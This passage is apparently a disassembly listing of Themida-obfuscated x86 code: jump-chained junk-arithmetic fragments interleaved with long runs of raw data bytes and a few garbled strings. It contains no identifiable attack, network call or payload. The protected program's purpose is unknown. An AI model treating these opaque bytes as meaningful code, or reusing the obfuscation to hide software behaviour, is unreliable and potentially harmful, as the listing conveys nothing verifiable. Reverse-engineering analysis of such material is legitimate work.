		dd 0A5F8E9h, 4C48300h, 0E8E95052h, 89000070h, 2C682414h
		dd 0E9000000h, 1D32h, 0F781D7F7h, 1033A863h, 295FFB01h
		dd 0FB215BDFh, 7CEB815Fh, 0E956FF59h, 63A3h, 374C68h, 242C8900h
		dd 42474FFh, 24048F5Dh,	0D224248Bh, 0E99C240Ch,	0FFFFEFE9h
		dd 752DE957h, 0B2520000h, 5AD4884Dh, 0E958E530h, 0FFFFFF7Bh
		dd 9043E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54563A:				; CODE XREF: Themida_:00548412j
		add	ecx, 65491125h
		jmp	loc_54B627
; ---------------------------------------------------------------------------
		db 0B7h, 0C7h, 0
		dd 170EE9F8h, 0FC050000h, 0E97A775Ah, 1046h, 5B66D930h
		dd 0E959CE88h, 0FFFFEFBFh, 0EEE95A66h, 1000049h, 0E9555BDDh
		dd 392Fh, 0E9E18951h, 6EB6h, 5DE8315Dh,	48BC501h, 4C48324h
		dd 2C8BE801h, 4C48124h,	83000000h, 148904ECh, 5F98BA24h
		dd 57560D26h, 6E0FE9h, 2434FF00h, 7B2E6858h, 0C890000h
		dd 0E9E18924h, 631Bh, 0B215B353h, 8BDA282Bh, 0C483241Ch
		dd 85EAE904h, 0FCB90000h, 0BB3C3C07h, 92765DC4h, 5359CB29h
		dd 423DABBh, 0E8F3810Eh, 813E987Ah, 0F446EEF3h,	0B3F3813Bh
		dd 54CD541h, 771A71F4h,	0F42DD829h, 8B771A71h, 0C483241Ch
		dd 5D80104h, 47BD5E6Fh,	81241C8Bh, 4C4h, 2AA76800h, 0C890000h
		dd 1BD6E924h, 0C9090000h, 310F840Fh, 0E9560000h, 5D9Ah
		dd 815AD301h, 2EBh, 241C3300h, 33241C31h, 0A8E9241Ch, 5F00003Fh
		dd 5102C383h, 60E9E189h, 89FFFFF2h, 4C181E1h, 81000000h
		dd 4ECh, 24048900h, 149968h, 24348900h,	0AB1EE9h, 2CB52C00h
		dd 2434FF96h, 4C4815Bh,	2C000000h, 46F7E990h, 0E9010000h
		dd 0C2AE981h, 835D1B8Dh, 0C3302E9h, 240C3124h, 5C240C33h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 53D2h, 0C281E289h
		dd 4, 92CEE953h, 0E9560000h, 4888h, 27B1B2B7h, 0BE9F928h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5457C7:				; CODE XREF: Themida_:00544901j
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_54EC96
; ---------------------------------------------------------------------------
		db 81h
		dd 0C45843F2h, 2434FF5Fh, 7FA0E95Eh, 0E9810000h, 45D37D45h
		dd 0C181D1F7h, 0E2B4D760h, 3693C281h, 0CA015E04h, 2251E9h
		dd 0C3315F00h, 1C8B5453h, 59545124h, 4C181h, 6BE90000h
		dd 0FF000084h, 815E2434h, 4C4h,	0E9FE8900h, 6993h, 8BEB295Fh
		dd 1FE9242Ch, 5000088h,	29F22261h, 85C2E9h, 24248B00h
		dd 0FFEDC4E9h, 240C33FFh, 0E9240C31h, 0FFFFFB6Dh, 255EF781h
		dd 81592CA8h, 390E44EFh, 0F8C78153h, 8143B37Eh,	9C106CC7h
		dd 81CF0158h, 9C106CEFh, 5515E958h, 0F6810000h,	0CFC823A8h
		dd 815EF509h, 2F9241EDh, 0F0E9813Bh, 118C05Ch, 1AC9E9E9h
		dd 34FF0000h, 89565824h, 479568E6h, 0C890000h, 2E3FB924h
		dd 0E98127A0h, 1E700793h, 4852E9h, 89EA8100h, 584F7749h
		dd 6805EAC1h, 51DEh, 0E9241C89h, 62DAh,	513C77FFh, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 8FE92434h, 0B10000B0h, 59CC8813h
		dd 4144E9h, 83EB8000h, 61DAE9h,	4EC8300h, 0B9240C89h, 6A903B58h
		dd 4244C31h, 0F6815E59h, 6A903B58h, 89F78957h, 243C8BFBh
		dd 0E904C483h, 3202h, 0E924248Bh, 47D6h, 8924248Bh, 0DEBA2414h
		dd 31283C19h, 9685AD1h,	0E9000000h, 1Ch, 0A02912BEh, 19F68157h
		dd 8175F013h, 2600DFEEh, 0A0C68137h, 0E95878FEh, 9742h
		dd 0E9243C89h, 0E10h, 0EB0016B5h, 0ACE95059h, 5D000050h
		dd 15A6E9h, 14E2BB00h, 0BF570A97h, 79DE5641h, 0FFF9BAE9h
		dd 0EF835EFFh, 243C8704h, 26E3E95Ch, 8B660000h,	0A068240Ch
		dd 0E900001Dh, 77B3h
; ---------------------------------------------------------------------------


loc_54599C:				; CODE XREF: Themida_:00546BDEj
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_545EE8
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 5C240487h, 89240C89h, 4BA52E1h, 1000000h,	24148BD1h
		dd 4C481h, 0C1830000h, 240C8704h, 0D1C2095Ch, 2477FFE2h
		dd 9DDDE9h, 241C8B00h, 8104C483h, 4C3h,	6DBA5200h, 8101762Ch
		dd 762C69EAh, 0A654E901h, 0A4BE0000h, 3135E638h, 7FE95AD6h
		dd 81000041h, 4C4h, 4EC8300h, 0BA241489h, 4B2C4FDFh, 8904EC83h
		dd 6FE92404h, 0FF000093h, 0E9582434h, 0A325h
; ---------------------------------------------------------------------------


loc_545A2C:				; CODE XREF: Themida_:00546458j
		shr	ecx, 1
		add	ecx, 0CC600EB5h
		add	eax, ecx
		pop	ecx
		add	eax, edi
		sub	eax, 436010CAh
		push	dword ptr [eax]
		mov	ecx, [esp]
		jmp	loc_54C371
; ---------------------------------------------------------------------------
		dd 0FD5AE952h, 7068FFFFh, 89000039h, 17B9240Ch,	0E9741D41h
		dd 423Dh, 58E9D800h, 89000086h,	0E0BE2434h, 8169D126h
		dd 601989F6h, 2093E901h, 0BF570000h, 31EE5183h,	0EFC1DFF7h
		dd 81D7F707h, 9961ECEFh, 15E78103h, 8140143Eh, 65F558C7h
		dd 5FFB0134h, 815BD989h, 533F86E9h, 0BD555723h,	53131435h
		dd 4C68E9h
		db 0
; ---------------------------------------------------------------------------


loc_545AB1:				; CODE XREF: Themida_:0054E00Cj
		jz	loc_54DA59
		push	eax
		push	1Ch
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_547712
; ---------------------------------------------------------------------------
		db 33h
		dd 0E1E9243Ch, 5E00001Ch, 40BA525Bh, 8175E55Eh,	0D04D6DCAh
		dd 75BD5538h, 8138B605h, 0EB3F73F5h, 0EDA9E939h, 1489FFFFh
		dd 9BC3E924h, 0EBC10000h, 0F4E38103h, 8173455Dh, 0B25B6BCBh
		dd 94F38125h, 296AD38Eh, 0ACE95BDDh, 81000023h,	8AA80CEBh
		dd 5BD83118h, 1D7CEB81h, 0C32943CCh, 1D7CC381h,	0E7E943CCh
		dd 8900001Bh, 8B54243Ch, 0F6E9243Ch, 5000066h, 3A290DF2h
		dd 0F47D082Dh, 58C58989h, 875DE901h, 0E95C240Ch, 0FFFFEAADh
		dd 4C381h, 1C870000h, 24248B24h, 6FDEE9h, 24048300h, 0EC815904h
		dd 4, 0E9243489h, 0ACB8h
; ---------------------------------------------------------------------------


loc_545B80:				; CODE XREF: Themida_:0054B617j
		neg	dh
		shl	dh, 7
		inc	dh
		neg	dh
		jmp	loc_54A88F
; ---------------------------------------------------------------------------


loc_545B8E:				; CODE XREF: Themida_:0054F9B2j
		dec	eax
		shl	eax, 5
		jmp	loc_54F679
; ---------------------------------------------------------------------------
aVsr		db 'VИR,',0
		db 0
; ---------------------------------------------------------------------------


loc_545B9D:				; CODE XREF: Themida_:0054AFC9j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_550741
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 0AB229DF2h, 86E9813Dh, 1475C58h, 86C181D1h, 8B475C58h
		dd 0C4832414h, 4BA5204h, 0E9000000h, 8399h, 0B3FEB81h
		dd 0E94B5DE3h, 3D94h
; ---------------------------------------------------------------------------


loc_545BDC:				; CODE XREF: Themida_:00548C50j
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5461F4
; ---------------------------------------------------------------------------


loc_545BEB:				; CODE XREF: Themida_:0054B5B9j
		add	esp, 4
		add	esp, 4
		mov	esi, [esp]
		push	22E2h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54E137
; ---------------------------------------------------------------------------
		dd 0C085B450h, 0C4FE02ECh, 87DB551h, 0E95359ECh, 26C8h
		dd 509DED81h, 835F040Fh, 2C3302C5h, 242C3124h, 6CBE9h
		dd 5FF90100h, 2B85053h,	0E9000000h, 7B1Ch, 7CC78147h, 11BD41Ah
		dd 0BCE95FFAh, 5E000003h, 98C3E9h, 50B45000h, 0ABE9DCF6h
		dd 810000ACh, 145F242Ch, 815D09EDh, 0ED145FC5h,	0B8505A09h
		dd 3FEFEA61h, 0E958C501h, 17E0h, 6ACAE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545C86:				; CODE XREF: Themida_:00548433j
		push	edx
		push	esp
		pop	edx
		push	646Ah
		mov	[esp], edi
		push	eax
		mov	eax, 7A616431h
		mov	edi, eax
		pop	eax
		jmp	loc_54B61C
; ---------------------------------------------------------------------------
		db 52h
		dd 60067B68h, 54295A21h, 5D5A0424h, 67BC581h, 348B2160h
		dd 4C48324h, 89EB8953h,	241C8BD8h, 29A7E9h, 289EB100h
		dd 2C5966CBh, 62D5E96Dh, 0AFB90000h, 0E969A772h, 7938h
; ---------------------------------------------------------------------------


loc_545CDC:				; CODE XREF: Themida_:00544A4Fj
		push	edx
		mov	dh, al
		mov	bh, dh
		pop	edx
		jmp	loc_54E8BA
; ---------------------------------------------------------------------------
		db 89h
		dd 0D1015EF2h, 6824148Bh, 72C9h, 647BE9h, 4BA00h, 0E1050000h
		dd 295B491Ch, 82E953D0h, 31000018h, 14332414h, 4FEDE924h
		dd 4BF0000h, 1000000h, 5F04247Ch, 0FFEA48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545D25:				; CODE XREF: Themida_:0054F517j
		add	ecx, 2A4C0FB2h
		jmp	loc_544B2B
; ---------------------------------------------------------------------------
		dd 3104C483h, 92ADE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545D3A:				; CODE XREF: Themida_:00548BBCj
		dec	dword ptr [esp]
		pop	esi
		and	esi, 244606Fh
		inc	esi
		push	ebx
		mov	ebx, 0C477058h
		add	ebx, 3B592467h
		not	ebx
		sub	ebx, 9D3C0E4Ch
		and	esi, ebx
		jmp	loc_549FA2
; ---------------------------------------------------------------------------
		dd 0DCE9FE01h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545D67:				; CODE XREF: Themida_:0054E084j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_544852
; ---------------------------------------------------------------------------
		db 81h
		dd 4EEh, 74FF5600h, 348B0424h, 4C48124h, 8F000000h, 248B2404h
		dd 24148924h, 614DE9h
		db 0
; ---------------------------------------------------------------------------


loc_545D95:				; CODE XREF: Themida_:0054EA9Ej
		mov	ebx, 4
		jmp	loc_54EDA6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 0E85BE99Ch, 0E95CFFFFh, 8B0Eh
		dd 4C38359h, 9578E953h,	0FE090000h, 0D8BF575Fh,	9363E52h
		dd 0C6815FFEh, 49D75474h, 55EF001h, 52DE650Ch, 0A0E9D801h
		dd 5600000Fh, 0AD5142BEh, 7E6C112h, 874AD687h, 0F7D6F7D6h
		dd 14C681DEh, 8163D30Bh, 0E7398C6h, 0E9F00193h,	3DA3h
		dd 0FFE800E9h, 0D8295AFFh, 0AB197305h, 94E9514Fh, 0FF0000A1h
		dd 0C8B2434h, 4C48124h,	50000000h, 0E957E089h, 2BD5h, 2C0E954h
		dd 57470000h, 0F7240C87h, 74FF51D1h, 0E9590424h, 9F6h
		dd 0E904C483h, 0FFFFE843h, 5E03B850h, 0C2811AB9h, 40ED6CDBh
		dd 96E9C229h, 8B00006Bh, 0C481243Ch, 4,	2AB4E981h, 2AE9CBFDh
		dd 0BD0000ACh, 5007363Dh, 49AB7FBEh, 8BEE2971h,	0C483242Ch
		dd 0C6834E04h, 81D6F7FFh, 427545C6h, 282FE921h,	0EE010000h
		dd 2434875Dh, 0FF24248Bh, 34FF2434h, 566DE924h,	0CA010000h
		dd 592434FFh, 5304C483h, 4FAEE9h, 0BDC18100h, 21F0C52Fh
		dd 0F324E9CBh, 0FF56FFFFh, 8B042474h, 0C4832434h, 24048F04h
		dd 6624248Bh, 2404BB0Fh, 0E727E99Ch, 0E958FFFFh, 1B38h
; ---------------------------------------------------------------------------


loc_545EE8:				; CODE XREF: Themida_:005459A6j
		push	ecx
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		mov	eax, ebx
		pop	ebx
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54737D
; ---------------------------------------------------------------------------
		db 4, 0FBh, 2Ch
		dd 0E9C7003Fh, 9, 9C241CF7h, 9127E9h, 0BCE95800h, 5A000060h
		dd 518CE9h, 0E6DFE900h,	2C89FFFFh, 6858E924h, 15A0000h
		dd 0FE7AE9CBh, 0B8FFFFh, 29000000h, 9A06E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545F46:				; CODE XREF: Themida_:00544BD8j
		xor	eax, ecx
		push	eax
		push	27FDh
		jmp	loc_54DFA5
; ---------------------------------------------------------------------------
		db 54h
		dd 1326E9h, 0F6814600h,	4BE970DBh, 3EF2C681h, 0F0012ACEh
		dd 0FFFCE6E9h, 7B45BFFFh, 974F59ABh, 8197D0F7h,	53B2D3EFh
		dd 0F9895178h, 0E959CE89h, 7A63h
; ---------------------------------------------------------------------------


loc_545F88:				; CODE XREF: Themida_:0054F398j
		mov	ecx, 2FC56982h
		or	ecx, 191E3B8Ch
		xor	ecx, 760B311Dh
		sub	ecx, 2F17E4AFh
		add	edi, ecx
		pop	ecx
		jmp	loc_54C25A
; ---------------------------------------------------------------------------


loc_545FA7:				; CODE XREF: Themida_:0054F694j
		mov	eax, 66FA371Bh
		push	ebx
		mov	ebx, 493FE5A1h
		sub	eax, ebx
		jmp	loc_54CCA6
; ---------------------------------------------------------------------------
		db 68h,	0AAh, 32h
		dd 14890000h, 0FD33E924h, 3C89FFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54EF82
; ---------------------------------------------------------------------------
		db 68h,	5Eh, 2Bh
		dd 66E90000h, 58000073h, 2440C381h, 0C30135FBh,	7A99BE56h
		dd 0EE813EF3h, 20847782h, 5E2ACE81h, 0EE816E0Fh, 48743AFFh
		dd 0F8E9F329h, 0C1000004h, 0BE5605EAh, 0F9BA5534h, 15EF229h
		dd 5BEDE9D3h, 0B8500000h, 4, 8358C501h,	1C8904ECh, 55BE5624h
		dd 0E93B4056h, 6076h
; ---------------------------------------------------------------------------


loc_54603C:				; CODE XREF: Themida_:0054B36Ej
		push	eax
		mov	eax, 8855E9Fh
		mov	ebx, 594FA658h
		sub	ebx, eax
		pop	eax
		add	edx, 7856185Eh
		add	edx, ebx
		sub	edx, 7856185Eh
		jmp	loc_549A75
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
aVics		db 'V┴ФИ&-',0
		align 4
aVsr_0		db 'VИЮ\',0
		align 2
		dw 2B8h
		dd 1000000h, 4BE958C6h,	5FFFFFFEh, 405BD831h, 30E57505h
		dd 8BC101A0h, 0C4832404h, 240C8704h, 0E924248Bh, 4291h
		dd 685153ADh, 268936C8h, 81D1F759h, 9C4DE6F1h, 0BE565739h
		dd 1C907010h, 43E7CE81h, 0CE813A09h, 51DF37DBh,	0F707E6C1h
		dd 5BF681DEh, 891E5547h, 63E95EF7h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5460CF:				; CODE XREF: Themida_:0054B2EFj
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 48B944F1h
		and	ecx, 11DA15B7h
		jmp	loc_54559B
; ---------------------------------------------------------------------------
		dw 558h
		dd 4, 6C17BB53h, 0E3C143DAh, 9954E907h,	0D8310000h, 4EC81h
		dd 14890000h, 2DCBE924h, 0E0C10000h, 5436E903h,	5DBF0000h
		dd 894F6A74h, 0C1E95FFDh, 53000002h, 0D3F6D8B3h, 0C380C3FEh
		dd 0D9E95214h, 66000058h, 68240C8Bh, 71C7h, 54243C89h
		dd 5F2434FFh, 1F15E9h, 241C8B00h, 4C481h, 0C8300000h, 775FE9h
		dd 1ABA5200h, 0D12D721Dh, 0E94A4AEAh, 6C07h, 8924248Bh
		dd 4BD242Ch, 5000000h, 42EB3900h, 6088E9h, 81E58900h, 4C5h
		dd 0BD4E900h, 0C2830000h, 343BE901h, 0E0890000h, 74DCE9h
		dd 0D0015E00h, 206EE9h,	0EA815800h, 7DFB7746h, 0FFE454E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5461B5:				; CODE XREF: Themida_:0054ABC5j
		push	eax
		mov	eax, 2351252Dh
		mov	edi, eax
		pop	eax
		push	47B7h
		mov	[esp], edx
		push	edi
		mov	edi, 0DCAFDAD3h
		mov	edx, edi
		pop	edi
		jmp	loc_54CE53
; ---------------------------------------------------------------------------
		dd 0A1F58145h, 8147C20Ch, 813CDDF5h, 1026050Bh,	9AE9652Eh
		dd 66000068h, 0E9240489h, 0FFFFE415h
; ---------------------------------------------------------------------------


loc_5461F4:				; CODE XREF: Themida_:00545BE6j
		jmp	loc_544609
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 4C181h, 0EC830000h, 24348904h, 3F9E955h
		dd 0E9590000h, 0FFFFE4DBh, 42474FFh, 24048F5Fh,	246C815Ch
		dd 4C111F04h, 247C2912h, 6C40E904h, 52510000h, 977EE9h
		dd 0E3CBE900h, 4B8FFFFh, 0E9000000h, 92B1h
; ---------------------------------------------------------------------------


loc_546248:				; CODE XREF: Themida_:005508D2j
		add	edx, 4
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, 1000h
		jmp	loc_5497BA
; ---------------------------------------------------------------------------
		db 56h,	87h, 14h
		dd 87D2F724h, 19E92414h, 50000089h, 0AB503BB8h,	58C73105h
		dd 6815ED81h, 0FD014E19h, 0A482E9h, 52E38900h, 4BAh, 5AD30100h
		dd 8704EB83h, 0E95C241Ch, 0A504h, 4662E95Dh, 0DBF60000h
		dd 0F6A7C380h, 22B3E9DBh, 0C2810000h, 590CFE6Ah, 0DFE9D089h
		dd 89000047h, 4C781E7h,	50000000h, 8904EC83h, 88BF243Ch
		dd 0F701E41Bh, 8AC781DFh, 8901E41Bh, 6857E9F8h,	0B9510000h
		dd 5F433826h, 8159CE29h, 81BB42EEh, 17C6E99Ch, 0E9420000h
		dd 0BCCh, 8B242C33h, 4D32424h, 0FAE99C24h, 87FFFFE2h, 0E95C2434h
		dd 38F2h
; ---------------------------------------------------------------------------


loc_546318:				; CODE XREF: Themida_:00546CA9j
		mov	ebx, esp
		jmp	loc_55029C
; ---------------------------------------------------------------------------


loc_54631F:				; CODE XREF: Themida_:005494F4j
		not	ecx
		xor	ecx, 0A5BFC62Ch
		jmp	loc_54519D
; ---------------------------------------------------------------------------


loc_54632C:				; CODE XREF: Themida_:0054FD87j
		pop	edx
		shl	ebp, 7
		sub	ebp, 10F93D62h
		xor	ebp, 4FE4659Ah
		jmp	loc_547207
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FEC8B050h, 0C0BE24C0h, 58E907E8h, 81000083h, 4C4h
		dd 0EC815F00h, 4, 0BF243C89h, 800h, 34FFF821h, 0C3685F24h
		dd 89000045h, 7AE92434h, 8B000053h, 8956241Ch, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 4C4835Ch, 5324148Bh, 0C381E389h
		dd 4, 8704C383h, 0E95C241Ch, 0FFFFE25Dh, 447D68h, 24048900h
		dd 524752B8h, 18B9512Dh, 811F331Ch, 71FAEEE9h, 59C82916h
		dd 241CF750h, 8324048Bh, 5D2D04C4h, 35589E5Eh, 76F11B77h
		dd 507C1E35h, 58C7010Ah, 0E95F5857h, 0FFFFE655h, 2706782Dh
		dd 5E80166h, 66270678h,	5E0C15Dh, 0BBE9D0F7h, 8F000002h
		dd 0E1FFE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54640A:				; CODE XREF: Themida_:00547F8Dj
		shr	ebp, 1
		shr	ebp, 5
		sub	ebp, 9CCC872Ah
		mov	ecx, ebp
		jmp	loc_54B7C9
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0E9522404h, 224Fh, 2BEh, 36166800h, 34890000h
		dd 3C00BE24h, 2BE945DDh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54643F:				; CODE XREF: Themida_:00547944j
		pop	ebp
		xor	eax, 0A3001E5h
		inc	eax
		add	eax, 0A6C3D33Ah
		jmp	loc_5481A8
; ---------------------------------------------------------------------------


loc_546450:				; CODE XREF: Themida_:00549D81j
		sub	ecx, 28166CA2h
		not	ecx
		jmp	loc_545A2C
; ---------------------------------------------------------------------------


loc_54645D:				; CODE XREF: Themida_:0054CFEAj
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_548D6A
; ---------------------------------------------------------------------------
		db 1
		dd 3AC581D5h, 8B23C058h, 0C4832414h, 0E8315804h, 0F0C3815Dh
		dd 576AC139h, 0CB0D51BFh, 3EFC131h, 2EFC147h, 5747D7F7h
		dd 0E92414F7h, 26AAh, 4BB53h, 0DF010000h, 408BE9h, 1AC2BB00h
		dd 53435124h, 5B2414F7h, 6EA6EB81h, 0D8298A69h,	83241C8Bh
		dd 148B04C4h, 4C48324h,	0FFEB9CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5464DD:				; CODE XREF: Themida_:0054F888j
		push	5058h
		mov	[esp], ebp
		mov	ebp, 197BF31Ch
		sub	ebx, ebp
		jmp	loc_54A252
; ---------------------------------------------------------------------------
aIqS4y		db '┴О]И4Y',0
		dd 9BB55100h, 2859E828h, 0A0E958C6h, 5E000026h,	8CEEB81h
		dd 89562D0Ah, 4C681E6h,	81000000h, 4EEh, 24348700h, 0F0B5E95Ch
		dd 0C481FFFFh, 4, 72116852h, 34890000h,	4EC8124h, 89000000h
		dd 84B82404h, 0BE3BF31Ah, 0F8A998B6h, 48BC601h,	4C48324h
		dd 2D5EF289h, 66DA6E49h, 25E9D001h, 51FFFFE6h, 874EEFB9h
		dd 59CA0179h, 4204B850h, 0FF2D7BABh, 5FFFFFFh, 0E8141A9Dh
		dd 7020E9h, 1C68300h, 4B01CE81h, 0B6E91D72h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54658B:				; CODE XREF: Themida_:0054B6C0j
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		jmp	loc_548C55
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 0F0h
		dd 6800000Dh, 17A2h, 0B2241489h, 0E9D7084Ah, 1723h, 815DEA89h
		dd 0D4B46E2h, 2E2C176h,	0EBC28142h, 81F7EBDFh, 0DF234AC3h
		dd 15C3816Bh, 134C574h,	15BE56D3h, 2934C574h, 0EB815EF3h
		dd 6BDF234Ah, 0E924148Bh, 9659h, 23E9F501h, 0BD000019h
		dd 74511DBEh, 758AF581h, 0ED8142EEh, 0E349F269h, 5467F581h
		dd 0EC814FF5h, 4, 25F3E9h, 243C8700h, 0EE814E5Eh, 4CEB49FCh
		dd 7DAAC681h, 0F1892CBCh, 8124348Bh, 4C4h, 59C80100h, 0B18BD55h
		dd 0DE6855FBh, 8900006Fh, 0FABF243Ch, 813D981Fh, 1D5091EFh
		dd 0E7814F65h, 41C62621h, 0C259EF81h, 0FD290BBDh, 8314E9h
		dd 0FDEE8000h, 5A66F000h, 1A23E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546686:				; CODE XREF: Themida_:00550A20j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0C197C5F9h
		sub	ebx, 335338AFh
		sub	ebx, edi
		jmp	loc_54E395
; ---------------------------------------------------------------------------
		dw 0FA35h
		dd 8905E238h, 0DF0158C3h, 74FF575Bh, 3C8B0424h,	10F66824h
		dd 3C890000h, 69DAE924h, 682D0000h, 0E9018F64h,	9A00h
		dd 364AE954h, 0DE280000h, 1F6805Bh, 2819C680h, 99E95AF0h
		dd 0B900001Ah, 603C7498h, 0B6E9C829h, 5EFFFFEEh, 78F0F681h
		dd 4A6848B6h, 8900001Bh, 0E9512434h, 7D7h, 322FEF81h, 27E91EEEh
		dd 0BA000060h, 4, 148BD001h, 4C48124h, 2D000000h, 2, 0E9240487h
		dd 2B0Eh, 2C0055Bh, 0B1E95EA6h,	4A000093h, 0FFFFC281h
		dd 0F281FFFFh, 6B5A1B00h, 30D4CA81h, 0EA817CADh, 0D98F43D9h
		dd 0DFE9D131h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546753:				; CODE XREF: Themida_:00548FD8j
		or	ecx, 3C05647Fh
		jmp	loc_544F86
; ---------------------------------------------------------------------------
		dw 1C89h
aQso		db '$QИ▌',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546767:				; CODE XREF: Themida_:00549EF3j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54FC77
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 34FF2434h, 13BE924h, 0F72C0000h,	0F704F028h
		dd 1D85E9h
		db 0
; ---------------------------------------------------------------------------


loc_546789:				; CODE XREF: Themida_:00548E43j
		add	ebx, 771E676Fh
		xor	edx, eax
		jmp	loc_544609
; ---------------------------------------------------------------------------
		dw 0A4BAh
		dd 12E191Ah, 24148BD6h,	4C481h,	9E90000h, 52000088h, 5C9AE9h
		dd 0D8BF5700h, 295A7F61h, 0C1015FF9h, 508EE9h, 19E38100h
		dd 81600A47h, 0D900BBF3h, 15CB8138h, 81451579h,	0D579B5F3h
		dd 0B0EE815Dh, 1413548h, 0B0C681DEh, 8B413548h,	0C483241Ch
		dd 24343304h, 330E9h, 0F6C4B100h, 63F180D9h, 887FE980h
		dd 0EC8359CBh, 240C8904h, 0DDF63AB5h, 0B652D5F6h, 5AF53047h
		dd 4EC81h, 14890000h, 0FEC2B624h, 80BCE9C6h, 0FB010000h
		dd 74FF535Fh, 8F5B0424h, 248B2404h, 71D3E924h, 48F0000h
		dd 0E94F5F24h, 82CDh, 747A68h, 56B9E900h, 0FCBD0000h, 4534EE2Ah
		dd 0FCE58145h, 0E9136C2Ah, 1D9Ah, 0E0C09DB0h, 2CC0FE03h
		dd 0E90F3401h, 4C96h, 0D85BEA81h, 0C1E9AA08h, 81000046h
		dd 4C4h, 2C24E900h, 0BB530000h,	4, 8DE9DF01h, 2D000090h
		dd 632A269Ch, 0D0F7D8F7h, 38642D48h, 76051952h,	0E959C367h
		dd 5316h, 0EBD5557h, 5577375Dh,	2F5DE9h, 0BA685A00h, 89000051h
		dd 5D54242Ch, 0F974E950h, 875BFFFFh, 815C2404h,	4C3h, 4C38100h
		dd 0E9000000h, 4B65h, 5EB95151h, 312CA825h, 8B04244Ch
		dd 0C483240Ch, 59E95F04h, 8BFFFFEFh, 0C4812404h, 4, 4EC8350h
		dd 81242489h, 42404h, 0E9580000h, 84D3h, 175568h, 24348900h
		dd 9677ABBEh, 8BF1896Fh, 0C4832434h, 0E9CA2904h, 79CCh
		dd 79DAC581h, 0ED813E66h, 31D60DCBh, 90F5E9h, 240C8B00h
		dd 611AE9h, 4015F00h, 4EC8324h,	0BE243489h, 33886F4Fh
		dd 4247401h, 8324348Bh,	0A2E904C4h, 30FFFFDCh, 0A7E95AD3h
		dd 8B00001Bh, 0C481243Ch, 4, 0FFE653E9h, 24148BFFh, 81E78957h
		dd 4C7h, 4C78300h, 5C243C87h, 0FFEE42E9h, 6D56BEFFh, 514621B7h
		dd 8235FAB9h, 2301E934h, 0B5BF0000h, 81291D0Bh,	622560C7h
		dd 0E7C14F21h, 0F1E94F08h, 0F7FFFFF9h, 0B3E94ED6h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5469C3:				; CODE XREF: Themida_:0054CBFCj
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAs		db 'aИ& ',0
		align 4
		dd 9A188ABEh, 70DB2D6Eh, 0F0297C61h, 6170DB05h,	34FF5E7Ch
		dd 0C4815B24h, 4, 4EC81h, 2C890000h, 81E58924h,	4C5h, 4ED8100h
		dd 55000000h, 42474FFh,	24048F5Dh, 243C895Ch, 4EC8153h
		dd 89000000h, 0B868242Ch, 5D0BA01Ch, 99489ABBh,	2FEB810Dh
		dd 0E9230C51h, 7F46h, 3CDFC281h, 0E9516B9Ch, 0FFFFFEDCh
		dd 2A3EBE56h, 54E9585Eh, 81000028h, 0B72698CFh,	47D7F71Bh
